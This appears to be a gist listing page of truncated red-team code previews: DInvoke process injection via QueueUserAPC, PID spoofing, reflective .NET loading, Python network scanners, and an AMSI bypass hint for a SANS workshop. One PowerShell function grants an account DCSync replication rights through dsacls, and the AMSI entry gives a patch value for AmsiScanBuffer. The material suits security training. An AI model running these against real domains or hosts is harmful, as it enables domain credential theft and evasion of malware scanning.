jfmaes

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DinjectorWithQUserAPC
{


    public class Program

jfmaes

import argparse
import selenium as se
from selenium import webdriver
from bs4 import BeautifulSoup
import time
def main():
	parser = argparse.ArgumentParser(description = 'extract function definitions from MSDN')
	parser.add_argument('--methods',  help='list of methods',required=True)
	args = parser.parse_args()
	#methods_list = []

jfmaes

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;


namespace DInvoke_PIDSpoof_DevNuget
{
    class Program
    {
        static void Main(string[] args)

jfmaes

ntdll.dll
DbgQueryDebugFilterState from ntdll.dll 
DbgQueryDebugFilterState from ntdll.dll 
DbgQueryDebugFilterState from ntdll.dll 
DbgSetDebugFilterState from ntdll.dll 
EtwpGetCpuSpeed from ntdll.dll 
LdrAccessResource from ntdll.dll 
LdrCallEnclave from ntdll.dll 
LdrProcessRelocationBlockEx from ntdll.dll 
NtQuerySystemTime from ntdll.dll 

jfmaes

        function Invoke-SyncMeUp{
        [CmdletBinding()]
            Param (
            [Parameter(Mandatory=$True)]
            [string]$AccountName
            )
        $dse = [ADSI]"LDAP://Rootdse"
        $namingcontext = $dse.defaultNamingContext
        echo "Giving $AccountName DCSync rights"
        dsacls.exe $namingcontext /G $AccountName":CA;Replicating Directory Changes All" $AccountName":CA;Replicating Directory Changes"

jfmaes

using System;
using NvisoLib;
using System.Reflection;

namespace AppDomainResolveTest
{
    class Program
    {
        static void Main(string[] args)
        {

jfmaes

clear
$bytes=[System.IO.File]::ReadAllBytes("C:\Users\jeanm\source\repos\HelloFromDotNetFramework\bin\Release\HelloFromDotNetFramework.exe")
$asm = [System.Reflection.Assembly]::Load($bytes)
$params = {null}
[HelloFromDotNetFramework.Program]::Main($params)

jfmaes

import argparse
from ipaddress import IPv4Network
import os


def banner():
    print(r"""
                                                         c=====e
                                                            H
   ____________                                         _,,_H____

jfmaes

Hi SANS Workshop Attendees! Reflection is super fun!

amsi.dll
AmsiScanBuffer
uFcAB4DD

jfmaes

#!/usr/bin/python
import requests
from socket import *
from requests.packages.urllib3.contrib import pyopenssl as reqs
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import ipaddress
#import asyncio